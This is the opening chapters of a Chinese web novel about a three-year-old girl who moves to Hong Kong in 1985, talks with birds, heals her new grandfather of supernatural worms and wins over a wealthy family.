《八零，港城豪门来了个玄学小奶包》 第1章 要小婉婉做她的替死鬼，太可恶了 1985年的盛夏，麻雀都热得无处歇脚，挤在一起聒噪个没完。 “那两口子每天都吵个不停，这次终于分开了。” “婉婉真可怜，家里没人喜欢。” “我昨天听见童倩倩说梦话，要跟她交换命运呢。” “我也听到了，童倩倩要婉婉当她的替死鬼，简直太可恶了！” 窗台上，忽然伸出了一只小手，一团奶萌萌的小丫蛋儿爬上了窗口。 她穿着一件红色的花布袄，琉璃般的大眼睛眨呀眨，肉嘟嘟的小脸蛋儿，像只白胖的肉包子，光是看着就想咬上一口。 “你们在说什么？”小娃娃憨憨的小奶音，充满了好奇。 房檐上的几只麻雀叽叽喳喳的叫了一会儿，随着房门打开，扑腾着翅膀飞走了。 “婉婉。” 来人是四姐童倩倩，她看着趴在窗台上的小丫头片子，眼底阴暗浮动。 “爸爸和哥哥们都不喜欢你，所以，你跟妈妈去港城。” 童婉婉攥紧了两只小手，小腮帮也气鼓鼓的，叉腰，“哼”了一声。 “姐姐坏蛋！” “你说什么？再给我说一遍？”童倩倩脸色清白交替。 心说童婉婉才三岁半，绝不可能发现她的秘密！ 没错，童倩倩重生了，上一世她为了享福，跟随离婚的母亲去了港城，哪怕她极力讨好那个家里的长辈和六位哥哥，却仍然被他们嫌弃，直到有一天，她因为讨好他们得罪了人，在睡梦中被丢进大海。 鲨鱼分食了她的身体，到死，她都不甘心。 反观上一世的童婉婉，却在父亲做大了生意后，成为了家里的小公主，她的亲生哥哥也都各自有了成就。 如果她不去海城，那么童婉婉享受的一切都是她的！ “你敢不去，信不信我揍你？”童倩倩抬起手就要打小婉婉。 忽然，几只小燕子从窗外闯入，对准了童倩倩的头啄了下去。 童倩倩挥舞着双手向后跑，脚不小心绊到了桌腿，在地上摔了个大马趴。 屋里的动静很快惊动了外面的人，房门打开，母亲张南严肃的呵斥：“你们两个闹什么？” “妈！婉婉她要跟你去港城，我不让她去，她就用石子打我，把我的头都打破了呜呜。”童倩倩手捂着脑袋，从地上爬起来。 张南看见她脸上的红色血口子，真的信了她的话。 “婉婉，你怎么能打姐姐？” 小婉婉到底还小，被四姐冤枉，也难以说出太多辩解的话，只把小嘴儿高高的撅起来，能挂个油壶。 “婉婉没有，姐姐坏坏。” “妈……”童倩倩却借着机会，抓住母亲的手，哭得声泪俱下：“妈，我不想跟爸爸和哥哥分开，既然婉婉想跟你去港城，你就带她走吧。” 张南眉头微皱，她也不喜欢这个小女儿，换句话说，前夫的每一个孩子她都不喜欢。 可是港城那边又非要她带个女孩儿回去…… 张南叹了口气，起身走过去，将婉婉抱了起来。 …… 小婉婉跟着母亲坐上了前往港城的轮渡，长长的气笛远离港口，海鸥俯身跃过江面，正好从她的小手上掠过。 “咯咯咯。”小婉婉开心的笑了起来，粉嘟嘟的小嘴儿里，露出整齐的小米牙牙，两颗亮晶晶的大眼睛透着孩童天然的稚嫩。 张南望着她没心没肺的模样，忽然觉得，带她去港城再合适不过。 就在这时，扩音机传来船长的播报，要求所有乘客返回舱内。 张南烦躁的拧了拧眉，牵着小婉婉的手回了贵宾舱。 随着舱门全部闭合，一位金发碧眼的西方男子随同船长一起出现在公共区域。 他身边的花国翻译，拿着扩音器说道：“我们的贵宾刚才丢了一对价值连城的鹦鹉，舱内的哪位旅客如果帮忙找到，必有重谢！” 突然发生的事故，让船舱内产生了骚动。 “鹦鹉还价值连城？有没有这么夸张。” “就是，鹦鹉一扑腾翅膀不就飞走了，还上哪儿找去？” 西方男子望着议论纷纷的众人，询问身边的翻译。 翻译擦了擦头上的汗，将这些话翻译给他。 西方男子顿时眉头紧皱，吩咐船长：“邮轮停渡，直到我的鹦鹉找到为止！” 当船长按照男子的要求，将通知下发给全部乘客，立刻就遭到了大力的抗议和反对。 但邮轮还是在喧闹中停了下来，显然，船长这是在配合西方男子，逼迫所有人帮忙找鹦鹉。 张南本就焦虑的神经更烦躁了，一低头，她发现本来站在身边的女儿不见了！ “婉婉！” 张南完全不知道她什么时候丢了，即便不喜欢，也是她身上掉下来的肉，她来回穿梭在人群中，像一只无头苍蝇。 “有没有人见过我的孩子？”张南急得逢人就问。 另一边，小婉婉艰难的从人群中挤出来，迈着小短腿跑到船舱的正中间，小胳膊、小脑袋上，各站着一只毛色鲜艳的珍稀鹦鹉。 “漂亮叔叔，给你！” 西方男子见自己的鹦鹉失而复得，眼睛‘刷’的一下亮了起来。 他亲自弯腰接过两只鹦鹉，确认它们没有受伤，交给手下关进鸟笼子里。 随即他蹲在地上，望着面前不过三岁的小奶娃，喜爱的摸了摸她的头。 “小姑娘，你怎么就自己一个人？你家大人呢？”一旁的船长问。 小婉婉扬起手对着张南站过的方向一指，“妈妈在那儿。” “那里那么多人，你告诉叔叔，哪一个是你的妈妈？”船长又问。 小婉婉扭头看去，竟然发现，妈妈根本就不在那里。 顿时，小丫头蒙了圈，肉乎乎的手手摸了摸头上的呆毛儿，“妈妈丢了。” 船长：“……” 西方男子在得知婉婉跟妈妈走散之后，立即让船长帮忙寻找，同时他抱起三岁的小娃娃，去了邮轮上的高级餐厅。 当小婉婉看见，满桌都是她没见过的好吃的，兴奋的“哇”了一声。 “腻嚼、甚么、命子？”西方男人用不太流利的中文问。 小婉婉吃着服务员给她剥的虾肉，反应了一下，露出了甜甜的笑容。 “漂酿敷敷，裹叫管管。”肥美的虾肉塞满了小嘴儿，以至于小丫蛋儿说话也不清楚了。 “管、管？”西方男子随着她念。 而后他抬了抬手，手下立刻会意，去通知船长帮她找妈妈。 此时，距离婉婉丢失已有半个小时。 张南几乎找遍了整个船舱，都不见孩子的踪影。 正当她束手无策的时候，只听船舱内响起播报：“哪一位是‘管管’的妈妈，请到餐厅接您的孩子。” 第2章 虫虫要把爷爷吃光啦 当张南赶到餐厅，只来得及看见男子离开的侧影，饶是如此，也被他惊世骇俗的容貌所惊艳，不自觉的有些恍惚。 下一秒，当她看见害她找了好久的女儿，正在餐桌上大快朵颐，气得冲过去就要骂人。 “女士。”翻译拦住了她的去路，同时，给她递上了一张支票和一张名片。 “这是查尔斯先生为了感谢您的女儿，帮他找到鹦鹉的报答，查尔斯先生说，以后你们母女遇到困难，欢迎你随时与他联络。” 张南看着手里写有‘十万美金’的支票，整个人僵在当场。 所以刚才婉婉不见，是帮那个西方男人找到鹦鹉，帮她拿到了酬谢？ 张南心情复杂的来到女儿面前，看着小婉婉吃得鼓囊囊的小脸蛋儿，和两颗清透纯洁的大眼睛，突然，就讨厌不起来了。 “婉婉，你吓死妈妈了！”张南一把将婉婉抱在怀里。 小婉婉还是第一次被妈妈这样抱着，望着她红润的眼眶，小婉婉抬起小手，轻轻的帮她擦拭。 “妈妈不哭，婉婉爱你，木嘛！”油乎乎的小嘴儿亲在脸上，张南的妆都被染上了污渍。 可她脸上却漏出了笑容，用手捏了捏女儿的小脸蛋儿，眼底流动着温柔。 “傻丫头。” …… 自从跟随母亲出了港口，小婉婉的惊讶就没有停下来过，一路看到什么都要夸张的“哇”一声。 张南理解她第一次到港城，看什么都新奇，就任由她去了，路上还耐心的给她讲解一些重要建筑标志。 直到抵达半山腰的黎家庄园，张南才制止了小丫头的好奇心，将该注意的规矩叮嘱一番。 “婉婉，妈妈说的你都记住了吗？” 小婉婉眨巴萌萌的大眼睛，点了点头。 可是在张南的认知里，她一个三岁多的小奶娃，根本不可能记住那么多东西，所以，也只能走一步看一步。 张南虽然嫁给了黎家的长子，可也只是个五姨太，又因为户口的问题，没来得及在这边办手续。 所以她带婉婉进入庄园，走了侧门。 哪知道，她跟小婉婉刚进门，就见家里的老夫人，也就是她的婆婆，正坐在太师椅上等着。 “让你回去接孩子，怎么这么慢？” 老夫人生平最看重约定，张南比说好的时间晚回来近一个小时，她脸上挂着嗔怪。 张南连忙低眉顺眼的解释：“老夫人，因为轮船中途出了点意外，停了半个小时才继续走。” 在港城，有地位和权势的男子娶几房姨太太是在正常不过的事，但正妻始终只有一个。 而除了正妻可以跟丈夫一起叫婆婆‘母亲’，所有的姨太太，都只能称呼她为老夫人。 张南怕提到在船上收取酬劳的事引发误会，便将这件事咽了回去。 黎老夫人听罢没有再为难，转眸看向她身边跟着的小奶娃娃，霎时乐开了花，撑着龙头拐杖起身，拒绝一切搀扶，来到小婉婉面前。 “细路女，你叫咩名啊？” 黎老夫人说的是港语，小婉婉一时没听懂，不过她很快就从个别的字音分辨出内容。 “我叫童婉婉。” “呦，真系个醒目女呀！你睇见咗我都唔怕生啊。”黎老夫人欢喜的捏了捏小婉婉肉嘟嘟的脸。 看着小家伙对她的话一知半解，她改用了港普话：“刚好，你父亲正想盼孙女呢，快带她跟我一起，去见见他吧。” 黎老夫人提出要求，张南不好忤逆，只得过来牵着婉婉的右手，跟随老夫人的脚步出门。 在去往主院的路上，要经过一片池塘。 小婉婉正迈着小短腿，努力跟上大人的脚步。 正在这时，天空中一只盘旋的海东青，忽然对着地上行走的人，俯冲而下。 “老夫人！小心啊！” 佣人们赶忙过来保护黎老夫人，张南跟小婉婉则因为没人护着，成了雄鹰的目标。 “婉婉……”张南惊恐的瞪大眼，下意识激起的本能，让她将婉婉护在怀里。 哪知道那庞大的海东青只是单纯的俯冲而过，并未伤害任何人。 “这该死的畜生，一定是惦记着池子里的鱼，都已经过来好几天了！”虚惊一场，黎老夫人用港普话给她们解释。 张南点了点头，拉着小婉婉继续走。 而小婉婉脸上却没有丝毫惊慌，反而瞪着圆溜溜的大眼睛，对着盘旋在高空中的海东青笑了。 来到黎老爷子的住处，黎老夫人让下人打开房门。 张南下意识攥住婉婉的小手，紧张的连呼吸都不敢大声。 因为这是她嫁到黎家后，第一次正式面见当家人，传闻中，公公已经病了半年之久，如非要紧的人和事，一概不许打扰。 老人的房间里，窗帘拉上了大部分，遮挡住窗口大面积光源，衬得屋里黑沉沉的。 “你们都退下，婉婉自己跟我进来。”黎老夫人站在门口命令。 张南听到她的话，呼吸彻底凝滞。 所以，她还是没有资格面见老爷子？ 她的脸上浮现出失落，却不能忤逆长辈，只得放开了手。 “婉婉，去见爷爷，要懂礼貌知不知道？”张南蹲在地上紧张的叮嘱。 小婉婉像个小大人儿似的点头，趴在母亲耳边小声蛐蛐：“妈妈，你别怕，爷爷身上的虫虫不咬我们。” “你说什么？”张南还没来得及仔细询问，屋里的黎老夫人有些不耐烦的将她打断：“婉婉跟着我们你放心，不要再啰嗦了。” “是。”张南只好将童婉婉推了过去。 伴随着小婉婉进入房间，看见一位白发苍苍，面容青灰色的老先生躺在床上。 他的身体正被黑色的气体缠绕，气体中又掺杂着许多通体发黑，如同鳝鱼一般蠕动的死魂虫，不断啃噬他的生魂。 老人时不时发出痛苦的呻吟声，如同枯朽的污木，浑身释放出脏腐的气息。 饶是黎老夫人，都忍不住用手捂住鼻子，用惆怅又无助的语气，对小婉婉低声交代：“女仔，你就在这儿看着阿爷，别往前去。” “可是……那些虫虫要把爷爷吃光啦！”小婉婉抬起小手，指着床上说。 第3章 多看一眼都嫌脏 黎老夫人愣了一下，随即睁大眼睛：“哪里有虫，阿奶怎么看不见？” 小婉婉年纪太小，并不知道怎么跟老婆婆解释她所看见的东西。 所以只能奶声奶气的重复：“就是有虫在吃老爷爷。” 黎老夫人眉头紧皱，他们黎家人一直不信玄学术法一类，觉得那些都是内陆的江湖骗子，过来港城骗钱的。 半年前，她家老爷无缘无故得了一场重病，日日昏睡不止，米水都难以下咽。 她让人遍地去寻医问药，可那些医生们，都找不出老爷的病因所在，尝试了各种方法都无济于事。 直到三个月前，一位自称是‘游仙’的高人经过黎宅，宣称她家中有邪祟作梗，很快就要有人亡。 黎老夫人听得不寒而栗，向他请教破解之法。 那位游仙却摇了摇头，告诉她，自己只会摆阵看风水，并不会驱邪作法。 不过他在临走前对老夫人说过一句：“黎老爷福生无量，不日或许有天女降临，为他破解危难。” 黎老夫人忽然想起那位游仙的话，满怀期望的看着小婉婉。 “女仔，有虫在吃阿爷，该怎么办？” “婉婉捉虫虫！”小婉婉说话时小脑袋一点一点，转而就来到床边。 黎老夫人紧紧的攥着手，清楚的看见，病重半年，药石无医的丈夫，竟然在和小婉婉接触到的一瞬间，呼吸都顺畅了许多。 黎老夫人紧张的上前，唤了声：“阿英！” 黎老爷子缓慢的睁开的眼睛里，只看到一个豆丁儿一点儿大的小奶娃，正鼓弄着两只小手，在他身上抓什么东西。 小丫蛋儿圆溜溜的睁着大眼睛，捉虫捉得特别认真。 那些缠绕在老爷子身上的死魂虫，仅仅是被她碰到的一瞬间，就化作雾气消亡了。 “阿英，阿英你醒了！”黎老夫人激动的老泪纵横。 黎老爷看着身前忙碌的小奶娃娃，像是有一条条无形的锁链，从他身体上剥离。 “老爷爷，婉婉已经把虫虫都赶跑喽。”小婉婉奶声奶气的握住他苍老的手。 黎老爷动了动手指，再一次感觉到，有一股热乎乎的力量，沿着奶娃娃的小手，不断地往他身体涌入。 “这是哪儿来的小东西？竟然能给我治病？”老爷子身体的病症被驱散，精气神逐渐恢复，面色也红润了起来，有了力气说话。 黎老夫人满眼都是惊喜，看小婉婉的目光，如同看一个金疙瘩、金宝贝。 要知道在婉婉到来之前，她的丈夫，已经几个月没开口说过话了！ 黎老夫人用手帕擦拭眼泪，一边解释：“她是阿轩的五房从内地带过来的，你不是一直想要个小孙女儿吗？我就私自决定，把她接过来放在身边儿养着。” 黎老爷子点了点头，看着面前奶呼呼的小丫头，直接将她抱到了怀里：“嗯，这个小丫头，与我黎家有缘，现在又治好了我的病，那就把她留下，认作孙女儿吧。” 黎老夫人忙不迭点头，欣喜的上前拉住小婉婉的手。 “女仔，快叫阿爷和阿奶。” 小婉婉感受到两位老人的善意，脆生生的叫人。 “阿爷、阿奶！” “诶，真是乖宝贝！” …… 黎老爷身体康复的消息，很快就在黎家传开了。 黎家人人欢喜，使得整个黎宅，都围绕着一片欢声笑语之中。 而今已经是小婉婉在被老夫人带走的第三天，张南只是一个刚入门的姨太太，没有传唤，根本不敢去要人。 眼看着时间流逝，张南急得有些坐不住，打电话给在外出差的丈夫。 “阿南，你别担心，爸妈已经决定把婉婉认作孙女儿，我带着墨城和墨冰正在往回赶，其他孩子们也要回去，与婉婉正式见面。” 张南松了一口气，但同时，她还是有些震惊。 她原以为老夫人让她带个女孩儿过来，只是拿来逗趣儿，没想到竟然真的要认作孙女！ 那是不是代表，她五姨太的身份，已经得到了他们的认可？ …… 主院里，黎老夫人与黎老爷坐在榻子上。 黎老爷的二房自从得知黎老爷病好，便一直想要探望，老夫人硬是拖到老爷彻底恢复，才允许她们过来。 小婉婉坐在老夫人的身边，已经被换上了一套崭新的衣服，头顶上的几根呆毛儿，束成了两个羊角辫儿，闪动着光的金蝴蝶发卡，随着她看人的时候，扑棱棱的煽动翅膀。 “我这一生只得阿轩一子，独他自己就给我生六个混世魔王，这辈子还没有养过娇滴滴的小女仔，好在立轩刚娶的小五，给我带来这么个小人儿，让我也过一过哄孙女儿的瘾！” 黎老夫人一边说着话儿，一边当宝贝似的，把小婉婉抱坐在自己腿上。 炫耀的意思不要太明显。 “来，小婉婉，这是你二奶！”黎老夫人指着老爷的二房姨太交代。 小婉婉在听过介绍后，眨巴着黑萌萌的大眼睛叫人：“二奶好。” 听见这声‘二奶’，坐在下面的吕洁芳，气得鼻子都快歪了。 不就是个孙女，像谁没有一般！ 不过是个内地的小野种罢了，也值得她炫耀！ “姐姐对这孩子就算再好，可到底也是姓着别家的姓。我们家不是没有女仔，立正二房生的墨舒，才是黎家的亲生血脉。姐姐要是真喜欢，大可以把墨舒带在身边，何必抱着别家孩子不放？莫不是这些年对我心存嫉妒，就是为了气我？” 吕洁芳的尖锐的嘲讽，让黎老夫人脸色不悦。 正当她要开口反驳回去，院子里走进来的人，先她一步开了口。 “姨奶奶这话有歧义，二叔的孩儿是你的。我阿奶生我父亲，自然，我父亲的孩儿，才是我阿奶的。” 走进来的青年身着黑色西装，步履款款的姿态，衬得他玉树临风，仿佛天人下凡。 明明他脸上的笑容温和，没有攻击性，可却让二房的年轻人全都噤若寒蝉，吕洁芳更是像被噎住了一样，脸色难堪的不行。 紧接着，又有一位身着花衬衣，五官艳丽的年轻男子进来，他轻飘飘的目光落在吕洁芳脸上，唇边儿勾起的弧，怎么看都蔫坏蔫坏的。 “大哥说的没错，姨奶奶家的墨舒简直就是个夜叉，尖酸刻薄的性格连下人都不喜，还指望我阿奶带在身边？多看她一眼都嫌脏！” 第4章 大魔王来啦，快跑 吕洁芳被怼的脸都绿了，起身指着五官艳丽的青年呵斥：“朱丽月也不过是个姨娘，你还敢嫌弃我家墨舒？你不过也就是个难登大雅的东西而已！” 青年却并不生气，有理有据的说：“二奶奶此言又差了，我阿母虽然是爸的姨太太，可大娘对我们兄弟向来视作己出，跟你们家上蹿下跳的情况可不一样。” 吕洁芳气得跳脚：“你……” “好了，都是一家人，吵什么？”这时，黎老爷出声制止。 吕洁芳住了嘴，看向一旁的老爷，不敢在他面前造次。 本以为争执到此就结束了，没想到下一秒，老爷又斥责起来：“洁芳你也是，你自己的心眼儿小得像针尖儿，不要这么想别人，好歹也你是长辈，怎么能跟小孩子一般见识？” 吕洁芳委屈的不行：“老爷……” “你住嘴，要是不能安静待着，就回你的院子去！” 吕洁芳：“……” 她明白，黎老爷看似在主持公道，实际上心一直都在大房那边，在他心里，早就把二房视作空气！ 吕洁芳憋着一口气，起身带着人走了。 偌大的住院安静了下来，小婉婉坐在老夫人怀里，眨动着灵动的眼睛，滴溜溜的来回观察两位男青年。 黎老爷指着黑衣俊朗清秀的青年说：“婉婉，这是你大哥黎墨城。” 黎墨城望着小丫蛋儿肉乎乎的小脸蛋儿，白嫩的好像两个奶呼呼的叉烧包一样，情不自禁的抬起手，指尖在她细嫩的脸颊上蹭了蹭。 小婉婉直接钻到老夫人怀里，滴溜溜的大眼睛转呀转，小嘴儿高高的翘着，那小模样分明是害羞了。 “婉婉，快叫大哥呀！我们要做个懂礼貌的孩子对不对？”黎老夫人被她羞涩的小样儿逗得直笑。 一旁，黎老爷看着小婉婉的目光，也充斥着慈爱和温柔：“也许刚才吓着了，以后二房那些人，少让婉婉接触。” 黎老夫人听认真的点头，届时，小婉婉的害羞劲儿过了，转过身来看着黎墨城。 大哥哥长得好高好高呀，小婉婉试探着伸出小手，想学他刚才的动作，摸摸他的脸，却发现连他的一片衣角都摸不到。 “哎呦，这个小人精，不叫人，竟然还想要抱？” 说话的是另一位面容仪丽的花衬衫青年，他直接走到黎墨城身边，对小婉婉摊开手，精致的笑容，似带着几分循循善诱：“叫声二哥，我抱你怎么样？” 小婉婉看见在自己面前放大的，精致又陌生面孔，毫无意外又害羞了。 重新钻回到老夫人怀里，腼腆的弯着小嘴儿躲猫猫。 “怎么就你俩回来了？你爸跟你几个弟弟怎么不见？”黎老爷子在旁问。 黎墨城恭敬回话：“爸去接五姨娘，至于老三他们，应该快了……” 话音刚落。 黎立轩带着大房和几位姨娘进门，因为张南是最后一个入门的，所以跟在姨娘们的后面，她的身后，则是黎立轩其余的孩子们。 小婉婉忽然见到屋里出现这么多人，把眼神儿都给看愣了。 直到她在人群里找到了张南，小嘴儿一咧，清脆的叫了声：“妈妈！” 被叫住的张南突兀又尴尬，碍于家中规矩，她轻轻对小婉婉摇了摇头，暗示她别乱出声。 黎老夫人也轻声细语的安抚：“婉婉等会儿再找妈妈，咱们先认这些你没见过的……” 接下来，黎老夫人指着与黎立轩并排站立的中年女子，她穿着一件墨绿色的旗袍，黑发高高的挽成一个发髻，深邃的五官在不笑的时候，显得有些严肃。 “这个是你大娘。” “大娘。”小婉婉感觉到了屋里氛围的紧张，没有再像刚才那样害羞躲避，而是乖巧的按照老夫人所指的人问好。 “小婉婉真乖，后边的是你的大姨娘，她是你二哥生母。”黎老夫人先指了指朱丽月，然后指向了二哥黎墨冰。 小婉婉顺着老夫人所指，看见正是那个长得很好看的青年，再看向朱丽月，发现她比二哥哥还要好看，甜甜的叫了声：“大姨娘。” “这个是你二姨娘……” “二姨娘。” 如此，老夫人每介绍一位，小婉婉都乖巧的叫了人，并且努力的记住她们的样子。 就是等到介绍哥哥们的时候，哪一位哥哥是哪个姨娘生的，她的反应有些慢，不过最后也都把他们记住了。 “好了，你们跟婉婉都已经见过，以后慢慢就熟悉了，今天你们都先回去，立轩留下。”黎老爷对其他人挥了挥手。 他们便退了下去，黎立轩则往前走了一步。 “爸，您身体才刚恢复，有没有再找医生检查过？”黎立轩最近准备开发内地市场，一直带这两个儿子在内地，得知父亲苏醒的好消息，就在第一时间往回赶。 “我的身体已经无碍，倒是婉婉跟她母亲刚从内地过来，对家里还有很多不习惯的地方，你交代阿珍，以后多多关照一下。”黎老爷对他吩咐。 黎立轩有些不解，要知道父亲最忌讳宠妾灭妻，在家一直都是以身作则，如今，却对他新娶的五姨太格外看重，又是为什么？ 他的目光不禁落向母亲怀里的小丫头，此刻正捧着一块糕点，小馋猫儿似的眯着眼睛，吃的一脸享受。 该说不说，这对生了六个儿子的他来说，眼前这个浑身都冒着奶香的小糯米团子，完全没有抗拒能力，忍不住的就会对她心软。 “我知道了，爸，您放心，阿珍她向来不是善妒之人，即便我不说，她也会好好对她们母女的。” “嗯，那就行，这没你的事儿了，下去吧。”黎老爷子正要对老太太伸手，然而，地上的黎立轩却没动。 “爸……”黎立轩露出一脸憨笑，跟父亲商量：“我回来还没抱抱这孩子呢，能不能让我抱一下再走？” 黎老爷顿时黑脸：“我都还没轮到，你给我边上儿站着去！” 黎立轩：“……” …… 下午的阳光斜斜的挂在半空，已经没有中午那么毒辣，小婉婉被叽叽喳喳的燕子叫唤醒，打了个小小的哈欠，又揉了揉眼睛，从软塌上坐起来。 “二房老太婆骂了一个下午，简直吵死了！” “二房的暴躁丫头打烂了一个花瓶，反而割伤她自己的手。” “活该，活该。” “呀，是大魔王，快跑！” 窗外的小燕子们一哄而散，小婉婉恰好走到门口，面前的路就被一双长腿挡住了去路。 她高高的仰起头，看见少年清冷的容颜，紧皱的眉仿佛夹着一层霜雪，认出她是大娘生的三哥哥。 小婉婉小嘴儿甜甜的正要打招呼，眼前一阵风扫过，她本能眨了下眼睛。 三哥哥竟然不见了？ 此时，在小婉婉的正后方。 黎墨郢转过头，看着地上傻乎乎找他的小不点儿，冰冷的眼神闪过一抹不屑。 第5章 黎墨城被绊住脚了 “黎墨郢！”黎老夫人出来找婉婉，正好看见排行老三的黎墨郢，从小婉婉的头上跳过去。 气得她直接走过来，抄起鸡毛掸子抽在他身上。 “你是三哥，怎么能欺负最小的妹妹？你从她头上跳，踢到她了怎么办？” 黎墨郢今年也才十三岁，与一母同胞的长兄相差七岁，明明他上面还有个相差六岁的二哥，可是所有人，却都爱把他单独列出来跟黎墨城比较。 这也导致他从小便很叛逆，黎墨城有的，他越发不稀罕。 黎墨城身上所没有的，哪怕是缺点，他都照单全收。 当然，黎墨郢若单纯是缺点多，倒也不至于被称呼为‘大魔王’。 眼下他被黎老夫人责罚，竟然不躲也不喊疼，而是眼神淡漠，理所当然的道了句：“我有分寸。” 黎老夫人气得更用劲儿打他：“你还敢犟嘴？枉费我们找那么多师傅教你，规矩都学到狗肚子里了？你从妹妹头上跳就是没规矩！” “她流口水……脏。”黎墨郢只看了她一眼就把目光收回，仿佛慢一秒，会沾染到他一样。 黎老夫人黑着脸，掏出手绢，准备给小婉婉擦嘴，发现只是有一圈浅浅的印子而已，哪就像他说的那么夸张？ 等到她转过身去继续呵斥，堂屋里，早就没了黎墨郢的影子。 “这个老三，简直气死我了！” 黎老夫人独自骂道，忽然，她的大腿就被一只软乎乎的小手给抱住了。 小婉婉仰着头，扑闪着大眼睛安慰她：“阿奶不气，要长命百岁呢。” 小人儿天真的稚语一下就温暖了老夫人的心房，蹲下把她搂进怀里，在脸蛋儿上亲了一口。 “乖仔呦，你可真是阿奶的开心果！” …… 时间一晃，小婉婉来到港城已有月余。 这期间她大部分时间都跟老爷和老夫人待在一起，充当着开心果的同时，也学到了很多东西。 张南一开始还有些惶惶不安，怕女儿表现得不好，遭到公婆的厌烦。 但是随着时间推移，她发现女儿已经完全融入到了黎家，甚至比她还要受宠，也就不担心她的处境了。 这天清晨，黎老爷带着老夫人探视故友，所以就把小婉婉临时交给了佣人，带她在院子里玩。 黎墨城准备出门替父亲出席一场商会，为了抄近路，便走了这边的偏院。 当他看见小婉婉穿着粉红色的公主连衣裙，蹲在大树下玩耍的时候，下意识放慢了脚步。 小婉婉也听见了身后的脚步声，本能的回头，在看见是黎墨城的时候，黑黝黝的大眼睛刷的一亮。 “大哥哥！”小婉婉直接倒腾着两条小短腿跑了过去。 大哥哥实在太高了，小婉婉站直了，也才勉强超过他的膝盖，必须高高的仰着头，才能看见他的脸。 黎墨城不得不停下脚步，怕妹妹跑得太快摔跤，他弯腰，伸出手扶了一把。 “慢点儿。” 小婉婉弯起小嘴儿，露出一脸甜甜的笑，奶声奶气的问：“大哥哥，你要去哪儿呀？” 小婉婉在这一个多月里，见过黎墨城许多次，大哥哥每次跟她说话都很温柔，不像三哥哥，每次都只会凶她。 所以小婉婉在面对黎墨城的时候，一点儿都不害怕，偶尔还会主动要他抱抱呢。 黎墨城看着眼前豆丁点儿大的妹妹，即便很着急，但仍然充满耐心：“大哥要去开会，等下回来陪你玩好不好？” “可是大哥哥，小鸟想要找妈妈。”小婉婉扬起小手，指向院子里的那颗老榆树。 黎墨城顺着她小手的指向看去，老榆树上麻雀搭建的鸟窝里，一只老麻雀急得乱飞。 小婉婉一路跑到树下，小手捧起什么东西，像献宝一样吭哧吭哧的跑回来。 “大哥哥，你看！” 黎墨城定睛一瞧，竟然是一只麻雀幼崽，通体乌黑发紫，眼睛半睁半闭着，应该是从窝里掉下来许久了。 黎墨城眉心微皱，问道：“你想让大哥把它放到树上去？” “嗯。”小婉婉重重点头。 黎墨城叹了口气，拒绝的话就在唇边，可是面对着小婉婉期待的眼神，他一时说不出口。 恰好，司机等了许久，也不见黎墨城过去，便过来提醒：“大少爷，我们时间不多了，要是再耽搁，恐怕要赶不上商会。” 小婉婉听了司机的话，摊开的小手慢慢放了下去，眼神里的期待也逐渐变成失落。 黎墨城见状，果断的接过麻雀，对司机道：“你先去外头等着，我一会儿就来。” 说完，他迈开长腿来到榆树下，握住最结实的枝干，脚蹬着树杈迅捷的爬上树顶。 小麻雀回到窝里的瞬间，小婉婉乐得在地上拍手：“太好了，小麻雀找到妈妈喽，大哥哥棒棒！” 大概是第一次听到这样直白的赞许，黎墨城抿唇低笑。 待回到地上，果然，他身上的西装已经弄脏，如此一来，他不得不回房去换了套新衣服。 再经过偏院，小婉婉倒腾着小短腿儿，高兴的向他飞奔而来。 只是这一次黎墨城无法再作停留，大手在她小脑瓜儿上挼了一把，他温声交代：“在这里好好玩，大哥要去工作了。” “嗯，婉婉乖乖的！”小婉婉点着小脑袋答应，然而黎墨城高大的身影已经消失在院子口。 黎墨城坐进车里，司机便忍不住抱怨了几句。 “大少爷，昨天大爷特意交代我，今天一定不能迟到，可是您看看现在都几点了？为一个奶娃娃耽误这么重要的商会，未免有些不分轻重缓急。” “你是在怪我？”黎墨城脾气好，但是不代表，谁都可以指责他。 司机意识到自己说错了话，赶忙改口：“对不起大少爷，我也是着急，才一时说错了话，没有别的意思。” 黎墨城不是斤斤计较的性格，既然司机承认了错误，便没再说他什么。 彼时，轿车一路飞速行驶到了巷子口，眼看着前面就是商会地址，司机却一个急刹，将车子停在马路的正中央。 “大少爷您快看！”司机的眼睛里满是惊恐。 而黎墨城在降下车窗的一瞬间，闻见了浓烈的血腥味儿，同时映入眼帘的，还有商会面前的街道上，横七竖八躺着的尸体。 第6章 大哥哥给婉婉撑腰 黎墨城从小跟在父亲身边，作为接班人培养，是以，对这样的场面早已司空见惯。 可是看着陈列在地上的一条条人命，血液弥散在整个街头，路上的行人纷纷逃窜，人心惶惶不安的场景，还是不免动容。 更遑论，若他刚才也在会场，那么就算不死，也避免不了受伤。 这时，下车打探的司机回来告诉他：“大少爷，是斧头帮的人内斗殃及到了商会，今天过来参会的好几位少爷都不在了，真是万幸，您被小小姐绊住了脚！要不然我们……” 说到这里，司机面红耳赤。 后悔刚才不应该跟少爷抱怨！ 那哪里是个麻烦多的小娃娃？而是救了大少爷跟他命的恩人呐！ “先回去。”黎墨城沉声命令。 司机也怕帮会的人再兜回来，赶忙开车走了。 黎墨城赶到家时，黎墨冰正要惊慌出门，见他的车开到了门口，先是愣了一下，随即快跑过来，询问司机。 “我刚接到消息，商会出事了，我大哥怎么样？” 黎墨冰站在车边，汗水打湿额前的碎发，那张细皮嫩肉的精致面孔，因为紧张，泛起了轻微潮红。 司机正要答复，后车窗缓缓降下，露出黎墨城平静的面孔。 黎墨冰见到他，立刻把头伸进窗口确认：“大哥，刚才我正打算去救你，太好了，你没事！” 黎墨冰却清冷的扫了他一眼，并未下车。 “到底是去救我，还是看热闹，你心里有数。见我平安回来，你应该很失望？” “我……我才没有！虽然我们不是一个母亲生的，可我从来都把你当亲大哥，你这么想我，简直太让我伤心！”黎墨冰夸张的捂着胸口，做出痛心疾首的模样。 黎墨城却哼了一声，俊俏的容颜，清冷卓绝：“你说去救我，至少带几个打手，下次演戏记得逼真些，开车！” “我这不是没来得及叫人，诶？” 司机将车子开走，留下黎墨冰一个人站在原地，嘴角撇了撇。 “好心当成驴肝肺，我就多余操这份心！” …… 黎墨城到了住处，收到商会事故消息的宋珍珍，正在焦急的在家调遣人手，准备前去营救。 “墨城，你没事吧？”见到儿子平安无事，宋珍珍激动的抓住他的手臂，来来回回的在他身上确认。 黎墨城只是点头，“那会儿临时有事，去的晚了，正好错过意外。” “老天爷保佑，真是太好了！”宋珍珍双手合十，对着天空念念有词。 这时，在外面收到消息的黎家二老也匆匆赶回来，见到黎墨城平安在家，后怕的捏了把冷汗。 